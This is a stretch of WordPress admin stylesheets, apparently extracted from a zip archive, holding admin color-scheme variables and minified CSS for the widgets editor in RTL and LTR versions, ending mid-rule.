  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[�2�pTpT#dist/edit-widgets/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.interface-complementary-area-header{background:#fff;gap:4px;padding-left:8px}.interface-complementary-area-header .interface-complementary-area-header__title{margin:0 0 0 auto}.interface-complementary-area{background:#fff;color:#1e1e1e;height:100%;overflow:auto}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{top:0}.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;font-weight:500;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}.interface-complementary-area__fill{height:100%}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none;position:relative}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;position:absolute;right:0;top:0;width:auto;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important}}.interface-interface-skeleton__sidebar{border-top:1px solid #e0e0e0;overflow:hidden}@media (min-width:782px){.interface-interface-skeleton__sidebar{box-shadow:1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__secondary-sidebar{border-top:1px solid #e0e0e0;left:0}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{box-shadow:-1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);color:#1e1e1e;flex-shrink:0;height:auto;outline:1px solid #0000;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{border-left:none}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;flex-shrink:2;height:60px;justify-content:center;overflow:hidden;padding-left:8px;padding-right:16px}.edit-widgets-header__title{font-size:20px;margin:0 0 0 20px;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:8px;padding-left:4px}@media (min-width:600px){.edit-widgets-header__actions{padding-left:8px}}.edit-widgets-header-toolbar{gap:8px;margin-left:8px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:32px;min-width:32px;padding:4px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}@media not (prefers-reduced-motion){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.components-panel__header.edit-widgets-sidebar__panel-tabs{padding-right:0}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-left:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{right:160px}}.folded .edit-widgets-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{right:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}.edit-widgets-layout__inserter-panel-content .block-editor-inserter__tablist-and-close{display:none}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}.components-popover.more-menu-dropdown__content{z-index:99998}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:8px;padding-right:16px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[��}�dTdTdist/edit-widgets/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.interface-complementary-area-header{background:#fff;gap:4px;padding-right:8px}.interface-complementary-area-header .interface-complementary-area-header__title{margin:0 auto 0 0}.interface-complementary-area{background:#fff;color:#1e1e1e;height:100%;overflow:auto}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{top:0}.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;font-weight:500;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}.interface-complementary-area__fill{height:100%}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none;position:relative}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;top:0;width:auto;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important}}.interface-interface-skeleton__sidebar{border-top:1px solid #e0e0e0;overflow:hidden}@media (min-width:782px){.interface-interface-skeleton__sidebar{box-shadow:-1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__secondary-sidebar{border-top:1px solid #e0e0e0;right:0}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{box-shadow:1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);color:#1e1e1e;flex-shrink:0;height:auto;outline:1px solid #0000;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid 